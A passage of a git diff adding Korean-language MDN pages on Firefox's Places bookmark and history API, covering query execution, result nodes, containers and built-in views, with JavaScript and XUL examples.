hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update SAMPLES_BRANCH
+
+ +

These are the new examples

+ +
    +
  1. Sample Code 1: Hashing
  2. +
  3. Sample Code 2: Init NSS database
  4. +
  5. Sample Code 3: Encrypt/Decrypt and Mac Using Token
  6. +
  7. Sample Code 4: Encrypt/Decrypt and Mac Using Session Objects
  8. +
  9. Sample Code 5: Encrypt/Decrypt/MAC Output Public Key as a CSR
  10. +
  11. Sample Code 6: Encrypt/Decrypt/MAC Generating a PKCS#11 CSR
  12. +
+ +

This is common code used by the new examples

+ +
    +
  1. Sample Code 0: Utilities
  2. +
+ +

Thanks are due to Shailendra Jain, Mozilla Community member, who is the principal author of these samples.

diff --git a/files/ko/places/accessing_bookmarks/index.html b/files/ko/places/accessing_bookmarks/index.html new file mode 100644 index 0000000000..76d52c1ab7 --- /dev/null +++ b/files/ko/places/accessing_bookmarks/index.html @@ -0,0 +1,81 @@ +--- +title: Accessing Bookmarks +slug: Places/Accessing_Bookmarks +tags: + - Firefox 3 + - Places +translation_of: Mozilla/Tech/Places/Manipulating_bookmarks_using_Places +--- +

+

이 문서는 북마크 트리의 일부를 빠르게 구하기를 원하는 사람들을 위한 빠른 시작을 제공합니다. 북마크는 플레이스 질의 시스템을 이용하여 구할 수 있으며, 이는 더 일반적인 정보를 담고 있습니다. 북마크 서비스 API에 대해서는 북마크 서비스를 참고하시기 바랍니다.

+

질의와 옵션 개체 얻기

+

모든 질의는 히스토리 서비스를 통해 실행합니다. 먼저 히스토리 서비스에서 빈 질의와 옵션 개체를 얻어야 합니다.

+
var historyService = Components.classes["@mozilla.org/browser/nav-history-service;1"]
+                               .getService(Components.interfaces.nsINavHistoryService);
+var options = historyService.getNewQueryOptions();
+var query = historyService.getNewQuery();
+
+

원하는 폴더 찾기

+

알려진 폴더 ID는 북마크 서비스에서 구할 수 있습니다. /toolkit/components/places/public/nsINavBookmarksService.idl에 정의된 속성은 bookmarksMenuFolder, tagsFolder, unfiledBookmarksFolder, toolbarFolder입니다. 이전 질의에서 폴더 ID를 얻을 수도 있습니다.

+

이 예제는 북마크 도구 막대의 ID를 얻는 것입니다.

+
var bookmarksService = Components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]
+                                 .getService(Components.interfaces.nsINavBookmarksService);
+var toolbarFolder = bookmarksService.toolbarFolder;
+
+

placesRoot는 전체 플레이스 계층 구조의 최상위 폴더입니다. 이는 사용자 데이터 뿐만 아니라 관리 데이터를 포함하고 있어서 질의에 사용하는 것은 바람직하지 않습니다.

+

질의와 옵션 개체 채우기

+

전체 북마크 트리를 원하면 그룹화 옵션 GROUP_BY_FOLDER을 사용해야 합니다. 현재, 질의 시스템은 이 플래그가 필요하지 않으며 정확하게 한 폴더의 내용을 요청하면 항상 계층 구조를 반환합니다. 이는 bug 331487입니다. 버그가 수정되면 GROUP_BY_FOLDER이 없는 북마크 질의는 모든 폴더와 서브폴더에서 질의에 부합하는 모든 북마크의 단순 목록을 반환할 것입니다.

+

통상의 북마크 질의에서 여러분은 하나의 최상위 폴더를 갖습니다. 질의 개체에서 이 폴더는 setFolders에 주어집니다.

+
options.setGroupingMode([options.GROUP_BY_FOLDER],1);
+query.setFolders([toolbarFolder], 1);
+
+

질의 실행하기

+

executeQueryexecuteQueries 함수는 질의 결과를 포함한 nsINavHistoryResult 개체를 반환합니다.

+
var result = historyService.executeQuery(query, options);
+
+

결과 얻기

+

(예제와 같이) 키워드나 날짜 범위와 같은 고급 매개 변수가 없이 폴더로 분류된 딱 하나의 폴더를 질의할 때, 결과의 root는 폴더에 해당하는 nsINavHistoryContainerResultNode가 됩니다. 질의가 복잡하거나 GROUP_BY_FOLDER를 사용하지 않았다면 루트는 nsINavHistoryQueryResultNode가 됩니다.

+

결과 콘테이너의 자식을 접근하기 전에 먼저 그것을 열고 나서 자식을 탐색할 수 있습니다. 콘테이너가 열려 있는 동안 북마크 시스템의 공지를 듣고 자신을 최신 상태로 유지하게 됩니다. 작업을 마치면 꼭 콘테이너를 닫아 자원을 해제하십시오. 그렇지 않으면 콘테이너는 계속 알림을 받고 자신을 갱신하여 전체 브라우저를 느리게 합니다.

+
var rootNode = result.root;
+rootNode.containerOpen = true;
+
+// iterate over the immediate children of this folder and dump to console
+for (var i = 0; i < rootNode.childCount; i ++) {
+  var node = rootNode.getChild(i);
+  dump("Child: " + node.title + "\n");
+}
+
+// close a container after using it!
+rootNode.containerOpen = false;
+
+

RESULT_TYPE_FOLDER 형식이나 다른 형식의 노드를 만나면 이 폴더를 열고 계층 구조의 아래로 내려갈 수 있습니다. 여러 가지 결과 형식을 이해하려면 플레이스:질의 시스템의 "결과 이용하기" 섹션을 참고하시기 바랍니다.

+

전체 코드

+
var historyService = Components.classes["@mozilla.org/browser/nav-history-service;1"]
+                               .getService(Components.interfaces.nsINavHistoryService);
+var options = historyService.getNewQueryOptions();
+var query = historyService.getNewQuery();
+
+var bookmarksService = Components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]
+                                 .getService(Components.interfaces.nsINavBookmarksService);
+var toolbarFolder = bookmarksService.toolbarFolder;
+
+//comment out the next line for now; the bug hasn't been fixed; final version should include the next line
+options.setGroupingMode([options.GROUP_BY_FOLDER],1);
+query.setFolders([toolbarFolder], 1);
+
+var result = historyService.executeQuery(query, options);
+var rootNode = result.root;
+rootNode.containerOpen = true;
+
+// iterate over the immediate children of this folder and dump to console
+for (var i = 0; i < rootNode.childCount; i ++) {
+  var node = rootNode.getChild(i);
+  dump("Child: " + node.title + "\n");
+}
+
+// close a container after using it!
+rootNode.containerOpen = false;
+
+
+  
+

diff --git a/files/ko/places/custom_containers/index.html b/files/ko/places/custom_containers/index.html new file mode 100644 index 0000000000..305255ee4d --- /dev/null +++ b/files/ko/places/custom_containers/index.html @@ -0,0 +1,21 @@ +--- +title: Custom Containers +slug: Places/Custom_Containers +tags: + - Places +--- +

사용자 정의 콘테이너는 확장이나 기타 서비스가 플레이스 폴더의 결과를 동적으로 제공하는 것을 가능하게 합니다. 이 문서를 읽기 전에 질의와 결과의 작동 방법에 대한 플레이스 질의 시스템을 숙지하는 것이 좋습니다.

+ +

원격 콘테이너

+ +

원격 콘테이너는 확장 작성자 등이 플레이스 질의 결과에 콘테이너의 내용을 제공하는 방법입니다. 먼저 nsIRemoteContainer를 구현하는 콤포넌트를 생성해야 합니다. 그리고 나서, nsINavBookmarksService.createContainer를 사용하여 여러분의 콤포넌트와 연관된 북마크 폴더를 생성합니다. type 매개 변수는 콤포넌트의 contract ID를 포함한 문자열입니다. 북마크 서비스와 기타 콤포넌트는 여러분의 nsIRemoteContainer 구현을 얻기 위하여 이 contract ID를 사용하여 CreateService를 호출합니다.

+ +

여러분의 서비스가 폴더와 관련을 맺으면, 폴더가 이동하거나 삭제될 때 알림을 받게 됩니다. 이러한 동작에 대응하여 여러분의 서비스는 폴더와 관련한 관리 정보를 갱신해야 합니다.(여러분의 콘테이너를 나타내는 콘테이너 결과 노드를 결과 사용자가 열거나 닫을 때 발생하는 알림은 테스트 부족으로 주석 처리되어 있습니다.) 또한, 여러분의 서비스는 콘테이너가 읽기 전용 자식을 가지고 있는지 또는 보통의 북마크와 마찬가지로 수정이 가능한지를 선언할 수 있습니다.

+ +

모드

+ +

원격 콘테이너 구현이 사용할 수 있는 작동 모드에는 두 가지가 있습니다. 첫 번째 모드는 북마크 제공자처럼 동작하여 일반 북마크 폴더 안에 실제 북마크를 생성합니다. 이러한 예가 라이브마크 서비스입니다. 라이브마크 서비스는 피드를 읽고 해당 스트림 안의 항목에 해당하는 폴더에 북마크를 생성합니다. 이 북마크는 북마크 서비스가 관리하므로 라이브마크 서비스는 콘테이너가 언제 열리고 닫히는지 상관하지 않습니다. (폴더의 피드와 관련한 정보를 갱신하기 위하여) 폴더가 이동하거나 삭제되는 경우를 처리하는 것과 라이브마크가 읽기 전용이라고 선언하는 것만 필요합니다.

+ +

두 번째 작동 모드는 더 적극적입니다.현재 이 모드는 지원하지 않습니다. 함수 호출은 테스트 지연으로 주석 처리되어 있습니다. 서비스는 콘테이너 열기 및 닫기 동작에 대응하여 실행 중에 결과를 채울 수 있습니다. 그러므로 표시되는 순간에 더 동적인 내용을 생성할 수 있습니다. 콘테이너 형식을 가진 폴더가 열리면 서비스는 알림을 받고 콘테이너 결과 노드가 주어집니다. 그러면 서비스는 appendURINode, appendFolderNode 등을 이용하여 해당 콘테이너에 자식을 생성할 수 있습니다. appendContainerNode를 특히 주목하십시오. 이는 다른 원격 콘테이너를 생성하는데 사용할 수 있습니다. 이러한 원격 콘테이너는 어떠한 북마크 폴더와도 관련이 없습니다(관련을 맺으려면 appendFolderNode를 사용하십시오). 예를 들어, 하위 폴더와 관련한 콘테이너를 동적으로 생성할 수 있는 파일 브라우저를 생성할 수 있습니다. 각 콘테이너는 속성 백(property bag)을 가지고 있어서 경로와 같은 임의의 정보를 노드에 연결하는데 사용할 수 있다는 점을 기억하십시오.

+ +
diff --git a/files/ko/places/index.html b/files/ko/places/index.html new file mode 100644 index 0000000000..99ffcc3778 --- /dev/null +++ b/files/ko/places/index.html @@ -0,0 +1,70 @@ +--- +title: Places +slug: Places +tags: + - Add-ons + - Developing Mozilla + - Extensions + - Places +translation_of: Mozilla/Tech/Places +--- +

+ +

플레이스(Places)는 Firefox의 북마크와 히스토리 시스템을 재작성한 것입니다. 이는 상당한 유연성과 복잡한 질의가 가능한 것을 목표로 삼고 있습니다. 파비콘(favicon) 저장소나 임의의 정보로 페이지에 주석을 달 수 있는 것과 같은 새로운 기능도 포함하고 있습니다. 또한, 다양한 새로운 사용자 인터페이스도 포함하고 있는데 본 개발자 문서에서는 이에 대해 다루지 않습니다(플레이스에 대한 모질라 위키 페이지를 참고하십시오).

+ +

플레이스는 mozStorage 인터페이스를 이용하여 sqlite 데이터베이스에 데이터를 저장합니다.

+ +

주제

+ +
+
질의 시스템(Query System)
+
특정 매개 변수로 북마크와 히스토리 시스템을 질의하는 방법.
+
+ +
+
북마크 접근하기(Accessing Bookmarks)
+
북마크를 접근하는 방법.
+
+ +
+
사용자 정의 콘테이너(Custom Containers)
+
플레이스 뷰에 서드파티 원본의 링크를 표시하기 위하여 사용자 정의 콘테이너를 생성하는 방법.
+
+ +
+
뷰(Views)
+
자신의 애플리케이션이나 확장에 플레이스 뷰를 생성하고 구성하는 방법.
+
+ +
+
뷰 생성하기(Instantiating Views)
+
자신의 확장이나 애플리케이션에 사용하기 위하여 내장된 플레이스 뷰를 포함한 콘트롤을 생성하는 방법.
+
+ +

서비스 API 문서

+ +
+
히스토리 서비스(History Service)
+
북마크 서비스(Bookmarks Service)
+
주석 서비스(Annotation Service)
+
라이브마크 서비스(Livemark Service)
+
파비콘 서비스(Favicon Service)
+
태깅 서비스(Tagging Service)
+
+ +

설계 문서

+ +
+
플레이스 데이터베이스 디자인(Places Database Design)
+
플레이스 데이터베이스 설계에 대한 고수준 개요.
+
히스토리 서비스 설계(History Service Design)
+
히스토리 서비스 설계.
+
북마크 서비스 설계(Bookmark Service Design)
+
북마크 서비스 설계.
+
주석 서비스 설계(Annotation Service Design)
+
주석 서비스 설계.
+
위치 막대 설계(Location Bar Design)
+
멋진 막대(awesomebar)라는 별명을 가진 플레이스 구동 위치 막대(Places-driven Location Bar)의 설계 및 알고리즘.
+
+ +

diff --git a/files/ko/places/instantiating_views/index.html b/files/ko/places/instantiating_views/index.html new file mode 100644 index 0000000000..4fdcc5d1c9 --- /dev/null +++ b/files/ko/places/instantiating_views/index.html @@ -0,0 +1,70 @@ +--- +title: Instantiating Views +slug: Places/Instantiating_Views +tags: + - Places +--- +

여러분의 확장이나 애플리케이션에서 북마크나 히스토리의 내용을 보여주려면 내장 플레이스 뷰를 사용할 수 있습니다. 이는 포괄적이며, 기본 기능을 작성하는 시간을 많이 아껴주므로 여러분은 애플리케이션을 작성하는데 집중할 수 있습니다.

+ +

다른 콘트롤 형식을 위해서 또는 더욱 사용자 정의된 뷰를 얻기 위해서 여러분 자신의 뷰를 구현할 수도 있습니다. Places:Views는 이 주제에 대해서 다룹니다.

+ +

보기

+ +

플레이스에서는 다음과 같은 내장 뷰를 이용할 수 있습니다.

+ + + +

XUL에서 생성하기

+ +
  <!-- include the places stylesheet to get the XBL bindings -->
+  <?xml-stylesheet href="chrome://browser/content/places/places.css"?>
+
+  <!-- include the required .js files -->
+  <script type="application/x-javascript"
+          src="chrome://global/content/globalOverlay.js"/>
+  <script type="application/x-javascript"
+          src="chrome://browser/content/places/utils.js"/>
+  <script type="application/x-javascript"
+          src="chrome://browser/content/places/controller.js"/>
+  <script type="application/x-javascript"
+          src="chrome://browser/content/places/treeView.js"/>
+
+  <!-- Tree View -->
+  <tree type="places" id="your_tree" place="place:..." ...>
+    <treecols>
+      <treecol id="title" flex="1" primary="true" .../>
+      ...
+    </treecols>
+    <treechildren flex="1"/>
+  </tree>
+
+  <!-- Menu View -->
+  <menu label="Your Menu">
+    <menupopup type="places" place="place:..."/>
+  </menu>
+
+  <!-- Toolbar View -->
+  <toolbaritem type="places" id="your_item" place="place:..."
+               .../>
+
+ +

스크립트에서 DOM 개체를 생성할 수도 있습니다.

+ +

스크립트 가로채기(Hookup)

+ +
var view = document.getElementById("your_view");
+view.init(null);
+view.appendController(PlacesController);
+
+ +

뷰는 null로 초기화되고(기본 뷰 구성입니다. ViewConfig 개체를 사용하여 뷰의 기능을 수정하는 것에 대한 자세한 정보는 Places:View Configurations를 참고하십시오.) 콘트롤러가 붙습니다. 뷰는 이제 사용할 준비가 되었습니다.

+ +

플레이스뷰 인터페이스

+ +

플레이스뷰 인터페이스를 통하여 뷰와 상호작용하는 것에 대한 정보는 Places:PlacesView Interface를 참고하시기 바랍니다.

+ +
diff --git a/files/ko/places/query_system/index.html b/files/ko/places/query_system/index.html new file mode 100644 index 0000000000..1a3dccf574 --- /dev/null +++ b/files/ko/places/query_system/index.html @@ -0,0 +1,173 @@ +--- +title: Query System +slug: Places/Query_System +tags: + - Firefox 3 + - Places +--- +

+

Firefox의 히스토리와 북마크 데이터는 "플레이스" 질의 API를 이용하여 접근할 수 있습니다. 이 API는 히스토리, 북마크, 그리고 두 가지 모두에 대하여 복잡한 질의를 실행할 수 있는 기능을 제공합니다. 질의의 결과는 조건에 맞는 데이터의 단순 목록이나 트리 구조를 포함한 개체입니다. 질의 API와 결과 데이터의 구조에 대한 정의는 toolkit/components/places/public/nsINavHistoryService.idl에 있습니다. 이 페이지는 일반적인 작업에 대한 소개와 핵심 API 사용법에 대한 예제를 제공합니다.

+

질의 실행

+

플레이스 질의는 몇 가지 기본 요소을 가지고 있습니다.

+ +

첫 번째 단계는 질의와 옵션을 생성하고 원하는 매개 변수를 채우는 것입니다. 빈 개체를 얻으려면 nsINavHistoryService.getNewQuery()nsINavHistoryService.getNewQueryOptions()를 사용합니다. 이 개체의 기본 값은 모든 브라우저 히스토리를 단순 목록으로 반환하는 질의를 낳습니다.

+
var historyService = Components.classes["@mozilla.org/browser/nav-history-service;1"]
+                               .getService(Components.interfaces.nsINavHistoryService);
+
+// no query parameters will get all history
+// XXX default sorting is... ?
+var options = historyService.getNewQueryOptions();
+
+// no query parameters will return everything
+var query = historyService.getNewQuery();
+
+// execute the query
+var result = historyService.executeQuery(query, options);
+
+
+

결과 형식

+

nsINavHistoryQueryOptionsresultType 속성을 가지고 있는데 이는 결과로 반환되는 그룹화와 세부사항 수준의 구성을 가능하게 합니다. 이 속성의 여러 가지 값은 아래에 나와 있습니다. 이 값은 nsINavHistoryQueryOptions의 속성이기도 한데, Components.interfaces.nsINavHistoryQueryOptions.RESULTS_AS_VISIT와 같이 접근할 수 있습니다.

+ +

기본 질의 검색 매개 변수

+

const unsigned long TIME_RELATIVE_EPOCH = 0 const unsigned long TIME_RELATIVE_TODAY = 1 const unsigned long TIME_RELATIVE_NOW = 2 attribute PRTime beginTime attribute unsigned long beginTimeReference readonly attribute boolean hasBeginTime readonly attribute PRTime absoluteBeginTime attribute PRTime endTime attribute unsigned long endTimeReference readonly attribute boolean hasEndTime readonly attribute PRTime absoluteEndTime attribute AString searchTerms readonly attribute boolean hasSearchTerms attribute long minVisits attribute long maxVisits attribute boolean onlyBookmarked attribute boolean domainIsHost attribute AUTF8String domain readonly attribute boolean hasDomain attribute boolean uriIsPrefix attribute nsIURI uri readonly attribute boolean hasUri attribute boolean annotationIsNot attribute AUTF8String annotation readonly attribute boolean hasAnnotation readonly attribute unsigned long folderCount

+

기본 질의 구성 옵션

+

const unsigned short GROUP_BY_DAY = 0 const unsigned short GROUP_BY_HOST = 1 const unsigned short GROUP_BY_DOMAIN = 2 const unsigned short GROUP_BY_FOLDER = 3 const unsigned short SORT_BY_NONE = 0 const unsigned short SORT_BY_TITLE_ASCENDING = 1 const unsigned short SORT_BY_TITLE_DESCENDING = 2 const unsigned short SORT_BY_DATE_ASCENDING = 3 const unsigned short SORT_BY_DATE_DESCENDING = 4 const unsigned short SORT_BY_URI_ASCENDING = 5 const unsigned short SORT_BY_URI_DESCENDING = 6 const unsigned short SORT_BY_VISITCOUNT_ASCENDING = 7 const unsigned short SORT_BY_VISITCOUNT_DESCENDING = 8 const unsigned short SORT_BY_KEYWORD_ASCENDING = 9 const unsigned short SORT_BY_KEYWORD_DESCENDING = 10 const unsigned short SORT_BY_DATEADDED_ASCENDING = 11 const unsigned short SORT_BY_DATEADDED_DESCENDING = 12 const unsigned short SORT_BY_LASTMODIFIED_ASCENDING = 13 const unsigned short SORT_BY_LASTMODIFIED_DESCENDING = 14 const unsigned short SORT_BY_ANNOTATION_ASCENDING = 15 const unsigned short SORT_BY_ANNOTATION_DESCENDING = 16 const unsigned short RESULTS_AS_URI = 0 const unsigned short RESULTS_AS_VISIT = 1 const unsigned short RESULTS_AS_FULL_VISIT = 2 attribute unsigned short sortingMode attribute AUTF8String sortingAnnotation attribute unsigned short resultType attribute boolean excludeItems attribute boolean excludeQueries attribute boolean excludeReadOnlyFolders attribute boolean expandQueries attribute boolean includeHidden attribute boolean showSessions attribute unsigned long maxResults const unsigned short QUERY_TYPE_HISTORY = 0 const unsigned short QUERY_TYPE_BOOKMARKS = 1 const unsigned short QUERY_TYPE_UNIFIED = 2 attribute unsigned short queryType

+

복합 질의

+

하나 이상의 nsINavHistoryQuery 개체를 executeQueries()로 전달할 수 있습니다. 하나의 질의 개체 안에서 모든 매개 변수는 + + AND + 로 연결됩니다. 그리고 서로 다른 질의 개체의 조건들은 + + OR + 로 연결됩니다. 이는 여전히 표현력이 있으면서도 중첩된 절을 가진 완전한 논리 연산보다 더 간단한 구현과 인터페이스를 가능하게 합니다.

+

다음은 방문한 모든 페이지 중 제목이나 URL에 "firefox"라는 단어를 포함한 페이지나 오늘 mozilla.org에서 방문한 페이지를 질의하는 예제입니다.

+
// first query object searches for "firefox" in title/URL
+var query1 = historyService.getNewQuery();
+query1.searchTerms = "firefox";
+
+// second query object searches for visited in past 24 hours AND from mozilla.org
+var query2 = historyService.getNewQuery();
+query2.beginTimeReference = query2.TIME_RELATIVE_NOW;
+query2.beginTime = -24 * 60 * 60 * 1000000; // 24 hours ago in microseconds
+query2.endTimeReference = query2.TIME_RELATIVE_NOW;
+query2.endTime = 0; // now
+query2.domain = "mozilla.org";
+
+var result = historyService.executeQueries([query1, query2], 2, options);
+
+
+ 참고: 키워드 검색은 + + OR + 질의를 가로질러 올바르게 동작하지 않습니다. 현재 작동 방식은 보통의 질의를 실행하고 나서 첫 번째 질의의 키워드를 선택하여 모든 결과를 거릅니다. (달리 이야기하면, 첫 번째 질의의 키워드는 모든 질의와 + + AND + 로 연결됩니다.) 뒤따르는 질의 개체의 키워드는 무시합니다. 이는 bug 320332입니다.
+

북마크 질의

+

간단한 북마크 질의를 실행하기 위한 빠른 시작 설명이 Accessing Bookmarks에 있습니다.

+

북마크 폴더의 내용은 질의 개체에 "folders" 멤버를 설정하는 것으로 구할 수 있습니다. 이 항목은 북마크 서비스에서 온 폴더 ID의 배열입니다. 일반적으로 이 목록에는 해당 폴더의 내용을 알려줄 하나의 폴더 ID가 있습니다. 여러 개의 폴더를 지정할 수 있으며 결과는 모든 폴더의 교집합이 됩니다.

+
+ 주의: 북마크 질의에 영향을 줄 목적으로 GROUP_BY_FOLDER 옵션이 있습니다. 이는 구현되지 않았는데 bug 331487를 참고하십시오. 북마크 계층 구조를 원한다면 항상 이 옵션을 사용해야 합니다. 이 옵션이 빠지면 질의가 반환하는 모든 폴더의 모든 북마크 항목을 단순한 목록으로 반환하도록 바뀝니다.
+

정렬에 대해서는 보통 (기본 값인) SORT_BY_NONE를 사용하는데 이는 사용자가 북마크 관리자에서 지정한 "자연스러운" 순서로 항목을 반환하기 때문입니다. 그러나 다른 정렬도 작동합니다.

+

북마크 질의에 대해서는 보통 요청한 폴더의 모든 항목을 구하기 위하여 질의 매개 변수가 없습니다. 정확하게 하나의 폴더 및 GROUP_BY_FOLDER를 지정하고 매개 변수가 없으면 이는 정확하게 하나의 폴더에 대응하므로 시스템은 훨씬 효율적인 질의를 수행하고 최신 결과를 유지하게 됩니다.

+
var bookmarkService = Components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]
+                                .getService(Components.interfaces.nsINavBookmarksService);
+// |query| and |options| are objects created in the previous section
+query.setFolders([bookmarkService.toolbarFolder], 1);
+options.setGroupingMode([options.GROUP_BY_FOLDER], 1);
+var result = historyService.executeQuery(query, options);
+
+

질의 직렬화

+

질의와 옵션 개체는 queriesToQueryString를 사용하여 "place:"로 시작하는 문자열로 직렬화할 수 있습니다. 결과 문자열은 저장하거나 북마크할 수 있습니다. "place:" URI를 북마크하면 사용자가 그것을 열 때 질의의 결과로 확장됩니다. 원본 개체는 queryStringToQueries를 사용하여 문자열로부터 직렬화를 해제할 수 있습니다.

+

주의할 점은 문자열이 비어 있으면 queryStringToQueries는 어떠한 질의 개체도 반환하지 않는다는 것입니다. 코드는 이를 처리해야 합니다. 반환되는 옵션 구조는 항상 있습니다. 옵션을 지정하지 않으면 기본 값을 갖게 됩니다. 질의 매개 변수가 없는데 입력 문자열이 빈 것이 아니면(옵션이 있었습니다) 기본 질의 값을 포함하는 하나의 질의 개체를 얻게 됩니다.

+

다음은 두 개의 질의와 하나의 옵션 개체를 직렬화하고 해제하는 예제입니다.

+
var queryString = historyService.queriesToQueryString([query1, query2], 2, options);
+
+var queriesRef = { };
+var queryCountRef = { };
+var optionsRef = { };
+historyService.queryStringToQueries(queryString, queriesRef, queryCountRef, optionsRef);
+// now use queriesRef.value, optionsRef.value
+
+

"place:" URI에서 이용 가능한 용어에 대한 참조는 Places:PlaceURIs를 참고하십시오.

+

결과 사용

+

결과를 사용하는 가장 일반적인 방법은 뷰를 구현하는 것입니다. 결과를 트리 콘트롤에 넣는 내장 뷰가 있으며 여러분 자신의 뷰를 구현할 수도 있습니다. 자세한 사항은 Places:Views를 참고하시기 바랍니다. 이 섹션은 결과를 직접 접근하는 방법에 대해서 다룹니다. 예를 들어, 여러분 자신의 뷰를 생성하거나 결과를 표시하는 대신 처리하는 경우입니다.

+

+ + 참고: 노드를 접근할 대는 참조를 유지하지 않도록 주의하십시오. 정렬과 같은 프로그래머가 실행하는 명령어 뿐만 아니라 히스토리와 북마크 시스템에서 결과로 보내는 알림은 구조가 변경되거나 노드가 삽입, 삭제, 대체되도록 합니다. +

+

executeQuery()/executeQueries()가 반환하는 nsINavHistoryResult 개체는 주어진 히스토리나 북마크 질의에 부합하는 목록을 포함합니다. 이 결과는 노드로 구성된 트리 구조에 포함됩니다. 노드 형식은 type 속성을 이용해서 구할 수 있습니다. 이 형식은 더 자세한 정보를 얻기 위해서 어떤 인테페이스를 QueryInterface 할 수 있는지 알려줍니다.

+ +

다음은 노드의 형식을 구하는 예제입니다.

+
var Ci = Components.interfaces;
+switch(node.type) {
+  case node.RESULT_TYPE_URI:
+    dump("URI result " + node.uri + "\n");
+    break;
+  case node.RESULT_TYPE_VISIT:
+    var visit = node.QueryInterface(Ci.nsINavHistoryVisitResultNode);
+    dump("Visit result " + node.uri + " session = " + visit.sessionId + "\n");
+    break;
+  case node.RESULT_TYPE_FULL_VISIT:
+    var fullVisit = node.QueryInterface(Ci.nsINavHistoryFullVisitResultNode);
+    dump("Full visit result " + node.uri + " session = " + fullVisit.sessionId + " transitionType = " +
+         fullVisit.transitionType + "\n");
+    break;
+  case node.RESULT_TYPE_HOST:
+    var container = node.QueryInterface(Ci.nsINavHistoryContainerResultNode);
+    dump("Host " + container.title + "\n");
+    break;
+  case node.RESULT_TYPE_REMOTE_CONTAINER:
+    var container = node.QueryInterface(Ci.nsINavHistoryContainerResultNode);
+    dump("Remote container " + container.title + " type = " + container.remoteContainerType + "\n");
+    break;
+  case node.RESULT_TYPE_QUERY:
+    var query = node.QueryInterface(Ci.nsINavHistoryQueryResultNode);
+    dump("Query, place URI = " + query.uri + "\n");
+    break;
+  case node.RESULT_TYPE_FOLDER:
+    // Note that folder nodes are of type nsINavHistoryContainerResultNode by default, but
+    // can be QI'd to nsINavHistoryQueryResultNode to access the query and options that
+    // created it.
+    dump("Folder " + node.title + " id = " + node.itemId + "\n");
+    break;
+  case node.RESULT_TYPE_SEPARATOR:
+    dump("-----------\n");
+    break;
+}
+
+

콘테이너

+

콘테이너는 다른 콘테이너 목록과 결과 노드를 포함합니다. 각 결과는 질의의 루트를 나타내는 콘테이너를 가지고 있습니다. 이는 결과의 root 속성을 이용하여 구할 수 있습니다. 일반적인 질의에 대해서 이 루트 콘테이너는 원본 질의에서 여러분이 제공한 질의 매개 변수와 옵션을 포함한 nsINavHistoryQueryResultNode입니다. 하나의 북마크 폴더로 대응하는 질의에 대해서 이는 nsINavHistoryContainerResultNode이 됩니다.

+

콘테이너는 열리거나 닫힐 수 있습니다. 이는 트리 뷰의 열린 상태나 닫힌 상태에 해당하며 메뉴를 보이거나 감추는 것에 대응할 수 있습니다. 콘테이너의 내용을 얻으려면 먼저 콘테이너를 열어야 합니다. 대부분의 콘테이너 형식은 자신을 지연된 방식으로(lazily) 채우기 때문에 콘테이너를 여는 것은 실제 주어진 질의를 실행하는 것에 해당합니다. 콘테이너가 열린 동안에는 히스토리와 북마크 시스템의 알림을 듣고 내용을 수정하여 최신 상태로 유지합니다. 이러한 이유로 작업을 마치자 마자 콘테이너를 닫는 것이 최선인데, 이는 더 나은 성능을 제공하기 때문입니다. 콘테이너를 닫고 히스토리나 북마크 변경 알림이 도착하기 전에 다시 열면 보통 결과는 여전히 존재하고 작업은 빠르게 됩니다.

+

다음은 콘테이너를 탐색하는 예제입니다.

+
var cont = result.root;
+cont.containerOpen = true;
+for (var i = 0; i < cont.childCount; i ++) {
+  var node = cont.getChild(i);
+  dump(node.title + "\n");
+}
+cont.containerOpen = false;
+
+

결과 뷰 인터페이스

+

결과를 UI에 대응하려면 nsINavHistoryResultViewer 인터페이스를 구현하고 그것을 nsINavHistoryResult.viewer 속성과 함께 결과에 붙입니다. 사용자 동작의 결과로서 또는 북마크와 히스토리 시스템의 알림의 결과로서 결과 트리가 바뀌면 이 뷰어가 호출됩니다. 그러면 여러분의 구현은 이러한 변경을 UI에 반영하게 됩니다.

+

nsITreeBoxObject에 대한 미리 준비된 뷰 인터페이스가 제공되는데 이는 트리의 복잡한 뷰 요구사항을 관리합니다. 이 개체의 인터페이스는 nsINavHistoryResultTreeViewer (nsINavHistoryResultViewer의 파생 인터페이스)입니다. 더 자세한 정보와 예제는 Places:Views를 참고하시기 바랍니다.

+
+  
+

diff --git a/files/ko/places/views/index.html b/files/ko/places/views/index.html new file mode 100644 index 0000000000..7f4233cc5a --- /dev/null +++ b/files/ko/places/views/index.html @@ -0,0 +1,43 @@ +--- +title: Views +slug: Places/Views +tags: + - Places +--- +

뷰는 nsINavHistoryResult 개체를 사용자에게 표시하는 방법입니다. 뷰는 nsINavHistoryService.idl에 정의된 nsINavHistoryResultViewer 인터페이스를 구현합니다.

+ +

대부분의 애플리케이션에서 내장 뷰를 포함한 플레이스 콘트롤 중의 하나를 사용하면 충분하고 자신의 뷰를 사용하는 복잡함을 피할 수 있습니다. 더 자세한 사항은 Instantiating Views를 참고하시기 바랍니다.

+ +

뷰 등록하기

+ +

nsINavHistoryResult에 viewer 속성을 지정하여 뷰를 등록합니다. 이 때, 결과는 주어진 뷰의 result 속성을 지정하게 됩니다.뷰의 결과 속성을 명시적으로 지정하면 안됩니다. 뷰를 초기화하려면 viewer 속성을 null로 지정합니다. 이는 뷰의 결과 속성 또한 null로 지정하게 합니다.

+ +

참조 고리에 대해 주의하십시오. 뷰와 결과는 모두 서로에 대한 참조를 가지고 있습니다. 이 개체들을 삭제하려면 result.viewernull로 지정하여 이 고리를 없애야 합니다. 내장 트리 뷰(아래를 참고하십시오)는 이를 자동으로 처리합니다. 트리가 소멸되거나 다른 nsITreeView가 트리와 결합하면 트리는 nsITreeView.tree = null를 호출합니다. 뷰어는 이 경우를 감지하고 자신을 결과에서 분리합니다.

+ +
내장 트리 뷰
+ +

가장 흔한 형식의 뷰는 트리 콘트롤이지만 이는 구현하기가 상대적으로 어려운 콘트롤이기도 합니다. 그러므로, 플레이스는 여러분이 결과를 트리 뷰에 표시하기를 원하는 경우를 위하여 내장 뷰 개체를 제공합니다. 이는 browser/components/places/content/treeView.js에 구현되어 있습니다.

+ +

이 개체는 nsINavHistoryResultViewer와 nsITreeView를 모두 구현합니다. 그러므로 이 개체를 사용하면 결과(플레이스 질의 시스템 참고)와 트리 사이를 중개할 수 있습니다.

+ +
var result = historyService.executeQuery(...); // your places query result
+var tree = document.getElementById("mytree"); // your tree control
+
+var showRootNodeInTree = true;
+var treeviewer = new PlacesTreeView(showRootNodeInTree);
+
+result.viewer = treeviewer;
